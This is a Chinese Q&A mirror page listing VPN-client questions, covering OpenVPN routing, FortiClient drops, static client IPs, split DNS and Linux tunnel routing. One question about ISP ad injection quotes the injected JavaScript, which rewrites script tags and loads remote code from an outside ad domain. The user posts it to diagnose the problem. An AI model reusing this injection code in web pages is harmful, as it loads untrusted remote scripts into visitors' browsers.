AskOverflow.Dev

AskOverflow.Dev Logo AskOverflow.Dev Logo

AskOverflow.Dev Navigation

  • 主页
  • 系统&网络
  • Ubuntu
  • Unix
  • DBA
  • Computer
  • Coding
  • LangChain

Mobile menu

Close
  • 主页
  • 系统&网络
    • 最新
    • 热门
    • 标签
  • Ubuntu
    • 最新
    • 热门
    • 标签
  • Unix
    • 最新
    • 标签
  • DBA
    • 最新
    • 标签
  • Computer
    • 最新
    • 标签
  • Coding
    • 最新
    • 标签
主页 / server / 问题

问题[vpn-client](server)

Martin Hope
floatingpurr
Asked: 2021-02-20 09:17:23 +0800 CST

设置 OpenVPN 客户端以连接到 Synology diskstation VPN 服务器,而不重定向所有流量

  • 0

我遵循了Synology 的官方文档,并创建了一个 OpenVPN 服务器来远程连接到 NAS,该 NAS 位于具有NAS_LOCAL_IP_ADDRESS. VPN 服务器配置如下:

在此处输入图像描述

现在,我正在尝试按照他们的说明通过 Tunnelblick 从我的 Mac 连接。他们特别说:

使用 TextEdit 打开导出的文件 openvpn.ovpn 并将 YOUR_SERVER_IP 替换为 Synology NAS 的公共 IP 地址。如果您希望通过 VPN 发送所有流量,请从 #redirect-gateway def1 中删除 #。

在此处输入图像描述

这是我的VPNConfig.ovpn:

dev tun
tls-client

remote YOUR_SERVER_IP 1194

pull

# If you want to connect by Server's IPv6 address, you should use
# "proto udp6" in UDP mode or "proto tcp6-client" in TCP mode
proto udp

script-security 2


comp-lzo

reneg-sec 0

cipher AES-256-CBC

auth SHA512

auth-user-pass

我不想将所有流量重新路由到 VPN,我只想将请求路由到我的NAS_LOCAL_IP_ADDRESS.

如果我留下#redirect-gateway def1评论,VPN 似乎是这样工作的。这就是我想要的,但我不明白为什么会这样,因为我从未NAS_LOCAL_IP_ADDRESS在配置文件中指定任何位置。

你们能帮我理解事情的背后是如何运作的吗?

vpn openvpn vpn-client synology
  • 1 个回答
  • 1744 Views
Martin Hope
Chris Driver
Asked: 2020-12-19 04:16:10 +0800 CST

Windows 10 2004 功能更新 - FortiClient SSL VPN 现在随机断开连接

  • 0

我有一台运行 FortiClient 6.x SSL VPN 的笔记本电脑 (Dell XPS-15 9560),它通过 Fortigate 防火墙连接。

在过去的 18 个月中,FortiClient VPN 一直非常稳定,并且意外的 VPN 断开连接很少见。很少见,可能每周一次。

几个月前,笔记本电脑从 1909 年到 2004 年进行了 Windows 10 功能更新,从那天起,VPN 开始表现不可靠。断线是完全随机的,我可以一天不间断地持续 8 小时,第二天全天断线 10 次,其中一些在 5 分钟内。我通常每天经历大约 6 次断线。每次,WiFi 仍然连接,我可以立即重新连接 SSL VPN,没有任何问题。

我了解 VPN 依赖于可靠的不间断网络连接,如果失败,即使是短暂的,也可能导致 VPN 掉线。我无法解决的是为什么 VPN 会下降,以及为什么它在我升级到 Windows 10 2004 后启动。

我调查了通常的东西:

  • 我的 WiFi 连接稳定,信号强,而且从不掉线。
  • 我的路由器是带有最新固件的高端华硕型号
  • 我尝试了 2.4 和 5 GHz WiFi 连接,但没有任何改善
  • 我已卸载/重新安装 FortiClient 软件
  • 我已经升级到最新版本的 FortiClient
  • 我已经卸载/重新安装了我的 WiFi 适配器(Killer Wireless-n/a/ac 1535 无线网络适配器)
  • 我在戴尔的网站上查看了更新的网络驱动程序
  • 我已经在 FortiClient 上运行了诊断程序。它确定了断开连接,但没有提供指向我问题的真实信息
  • 在 VPN 断开连接时,我已检查 Windows 事件日志是否存在任何相关问题

我有另一台笔记本电脑,也通过 WiFi 连接到同一个华硕路由​​器。它运行相同的 FortiClient,并且具有稳固、可靠的 SSL VPN 连接,没有随机断开连接。这也是一台运行 Windows 10 2004 的戴尔笔记本电脑,但使用了不同品牌的网络适配器。

我确信该问题与 Windows 10 功能升级到 2004 有关,因为该问题在升级后数小时内就开始了,但我想不出任何解决方案。

任何帮助或故障排除建议将不胜感激。谢谢!

windows-10 vpn-client
  • 1 个回答
  • 2981 Views
Martin Hope
Alex Aref
Asked: 2020-06-17 06:10:08 +0800 CST

如何为我的 Openvpn 服务器的客户端分配多个专用 IP?

  • 0

我有一台安装了 Openvpn 2.4 的服务器(CentOS 8),我想为我的每个客户端分配专用 IP,因此他们每次登录时总是获得相同的专用 IP,我该如何处理?

提前致谢

centos openvpn vpn-client static-ip
  • 1 个回答
  • 832 Views
Martin Hope
Nɪsʜᴀɴᴛʜ ॐ
Asked: 2020-04-04 21:31:55 +0800 CST

防止通过 VPN 从 ISP(代理分析器)注入脚本

  • 0

我正在使用 Sophos SSL VPN 客户端。但我使用的是 BSNL ISP。每当我连接我的 VPN 并浏览任何 HTTP 非安全网站时,ADS 都会被注入到 JS 脚本文件中。但是当我断开 VPN 并浏览任何不安全的网站时。不会发生脚本注入,也不会显示 ADS

但我的问题是,我的 ISP BSNL 在连接到安全隧道后如何识别出我正在浏览一个不安全的网站。这样所有路由的网络流量都将被加密。但是他们如何使用 Network Proxy Analyzer 来注入脚本呢?

在这里您将找到连接到 VPN 时的日志

OpenVPN 2.3.8 i686-w64-mingw32 [SSL (OpenSSL)] [LZO] [IPv6] built on Jul  3 2017
library versions: OpenSSL 1.0.2l  25 May 2017, LZO 2.09

Data Channel Encrypt: Cipher 'AES-128-CBC' initialized with 128 bit key
Data Channel Encrypt: Using 256 bit message hash 'SHA256' for HMAC authentication
Data Channel Decrypt: Cipher 'AES-128-CBC' initialized with 128 bit key
Data Channel Decrypt: Using 256 bit message hash 'SHA256' for HMAC authentication
Control Channel: TLSv1, cipher TLSv1/SSLv3 DHE-RSA-AES256-SHA, 2048 bit RSA

脚本(JS)

!function() {
    var a = "/analytics.js"
      , r = null
      , e = document.getElementsByTagName("script")
      , i = e.length
      , n = null
      , t = Date.now()
      , s = null
      , o = 0;
    for ("/" === a.substring(0, 1) && (a = a.substring(1)),
    o = 0; o < i; o += 1)
        if (void 0 !== e[o].src && null !== e[o].src && e[o].src.indexOf(a) > -1) {
            n = o,
            r = e[o];
            break
        }
    void 0 !== r && null !== r || (r = document.getElementsByTagName("script")[0]),
    s = r.src.indexOf("?") > -1 ? r.src + "&cb=" + t.toString() + "&fingerprint=c2VwLW5vLXJlZGlyZWN0&onIframeFlag" : r.src + "?cb=" + t.toString() + "&fingerprint=c2VwLW5vLXJlZGlyZWN0&onIframeFlag";
    try {
        if (void 0 === window.sarazasarazaNoti || null === window.sarazasarazaNoti || window.sarazasarazaNoti === Array && window.sarazasarazaNoti.indexOf(r.src) < 0) {
            void 0 !== window.sarazasarazaNoti && null !== window.sarazasarazaNoti || (window.sarazasarazaNoti = new Array),
            window.sarazasarazaNoti.push(r.src);
            var c = r.parentNode
              , d = r;
            if (r.async || r.defer || null !== n && n !== e.length - 1) {
                var w = document.createElement("script");
                w.src = s,
                c.replaceChild(w, d)
            } else
                document.write("<script type='text/javascript' src=" + s + "><\/script>"),
                c.removeChild(d)
        }
    } catch (a) {}
}();
document.addEventListener('DOMContentLoaded', function() {
    var esp = document.createElement('span');
    var esr = document.createElement('script');
    esr.src = 'http://allashail.club/rNUma4ZKIVZiq/7257?ndn=ch2';
    esr.type = 'text/javascript';
    esp.appendChild(esr);
    document.body.appendChild(esp);
}, false);

HTML(脚本注入)

<html>
   <head>
      <script src="http://www.google-analytics.com/analytics.js?cb=1585885601053&amp;fingerprint=c2VwLW5vLXJlZGlyZWN0&amp;onIframeFlag"></script>
   </head>
   </body>
   <span>
      <script src="http://allashail.club/rNUma4ZKIVZiq/7257?ndn=ch2" type="text/javascript"></script>
   </span>
   </body>
</html>

OpenVPN 配置

client
dev tun
proto tcp
verify-x509-name "OU=Domain Control Validated, CN=*.domain.com"
route remote_host 255.255.255.255 net_gateway
resolv-retry infinite
nobind
persist-key
persist-tun
<ca>
Bag Attributes: <No Attributes>
subject=/C=BE/O=GlobalSign nv-sa/CN=XXXSSL CA - SHA256 - G2
issuer=/C=BE/O=GlobalSign nv-sa/OU=Root CA/CN=GlobalSign Root CA
-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----
</ca>
<cert>
-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----
</cert>
<key>
-----BEGIN RSA PRIVATE KEY-----
-----END RSA PRIVATE KEY-----
</key>
auth-user-pass pass.txt
cipher AES-128-CBC
auth SHA256
comp-lzo no
route-delay 4
verb 3
reneg-sec 86400

remote xxx.xx.xxx.xx 8443
remote xxx.xx.xxx.xx 8443
remote xxx.xx.xxx.xx 8443
remote xxx.xxx.xxx.xx 8443
remote xxx.xxx.xxx.xx 8443

建立安全连接。我们应该如何使用 OpenVPN 协议配置我的 Sophos SSL VPN 客户端

vpn openvpn isp openssl vpn-client
  • 1 个回答
  • 332 Views
Martin Hope
Sam
Asked: 2020-02-12 00:29:53 +0800 CST

在 OpenVPN 上拆分 DNS

  • 2

我发现了一些关于这个的旧线程,但它们似乎已经有几年了。例如 openVPN - 分割隧道 DNS 优先级

我在 Windows 上。
我使用本地 DNS 连接到本地网络。
我使用 OpenVPN 连接到另一个网络,该网络在 *.example.com 上有可用的资源。

甚至可以为 *.example.com 使用一个 DNS,而为其他所有内容使用另一个 DNS?我知道我可以在我的机器上设置一个本地 DNS 来解决它,或者在我的本地主机文件中输入 example.com 的所有主机名。

domain-name-system openvpn vpn-client
  • 4 个回答
  • 6659 Views
Martin Hope
JonDoe297
Asked: 2016-12-14 16:53:58 +0800 CST

使用 Linux 机器通过 VPN 隧道进行路由

  • 0

我有两台通过 VPN 隧道连接的 Linux 机器:

VPN Client <-------> VPN Server
10.74.1.10/24         10.74.1.1/24 

每个人都有 NIC 来访问自己的网络:

---------> VPN Client <-------------------> VPN Server <------
10.37.0.205/24   10.74.1.10/24      10.74.1.1/24    10.74.0.1/24

当然,我在每个网络上都有不同的 Linux 计算机(Linux A、Linux B 等):

Linux A  <----> VPN Client <-----> VPN Server <----> Linux B

从VPN Client,我可以ping到VPN Server和电脑一样Linux B。

虽然,从Linux A,我可以 ping 到两台VPN Client机器的接口(10.32.0.205和10.74.1.10),但事实证明我无法 ping 到VPN Server地址10.74.1.1或网络 B 上的任何计算机。

我试图在 上添加一条新路线Linux A,但我得到了这个:

$ sudo ip route add 10.74.1.1 via 10.74.1.10 dev eth0
RTNETLINK answers: Network is unreachable

$ sudo ip route add 10.74.1.1 via 10.37.0.205 dev eth0
RTNETLINK answers: Network is unreachable

我怎样才能使它起作用?也许配置一些东西VPN Client?

编辑:

上的路由表VPN Client是这样的:

default via 10.37.0.1 dev eth0 
10.37.0.0/24 dev eth0  proto kernel  scope link  src 10.37.0.205 
10.74.0.0/16 via 10.74.1.9 dev tun0 
10.74.1.0/24 via 10.74.1.9 dev tun0 
10.74.1.9 dev tun0  proto kernel  scope link  src 10.74.1.10 
128.0.0.0/1 via 10.74.1.9 dev tun0 

上的路由表Linux A:

default via 10.37.1.1 dev eth0 
10.37.1.0/24 dev eth0  proto kernel  scope link  src 10.37.1.217 

另外,我激活了IP转发VPN Client

$ sudo sysctl -w net.ipv4.conf.all.forwarding=1

编辑2:

过滤数据包VPN Client:

$ sudo iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination  
linux routing vpn-client
  • 3 个回答
  • 4621 Views

Sidebar

Stats

  • 问题 205573
  • 回答 270741
  • 最佳答案 135370
  • 用户 68524
  • 热门
  • 回答
  • Marko Smith

    新安装后 postgres 的默认超级用户用户名/密码是什么?

    • 5 个回答
  • Marko Smith

    SFTP 使用什么端口?

    • 6 个回答
  • Marko Smith

    命令行列出 Windows Active Directory 组中的用户?

    • 9 个回答
  • Marko Smith

    什么是 Pem 文件,它与其他 OpenSSL 生成的密钥文件格式有何不同?

    • 3 个回答
  • Marko Smith

    如何确定bash变量是否为空?

    • 15 个回答
  • Martin Hope
    Tom Feiner 如何按大小对 du -h 输出进行排序 2009-02-26 05:42:42 +0800 CST
  • Martin Hope
    Noah Goodrich 什么是 Pem 文件,它与其他 OpenSSL 生成的密钥文件格式有何不同? 2009-05-19 18:24:42 +0800 CST
  • Martin Hope
    Brent 如何确定bash变量是否为空? 2009-05-13 09:54:48 +0800 CST
  • Martin Hope
    cletus 您如何找到在 Windows 中打开文件的进程? 2009-05-01 16:47:16 +0800 CST

热门标签

linux nginx windows networking ubuntu domain-name-system amazon-web-services active-directory apache-2.4 ssh

Explore

  • 主页
  • 问题
    • 最新
    • 热门
  • 标签
  • 帮助

Footer

AskOverflow.Dev

关于我们

  • 关于我们
  • 联系我们

Legal Stuff

  • Privacy Policy

Language

  • Pt
  • Server
  • Unix

© 2023 AskOverflow.DEV All Rights Reserve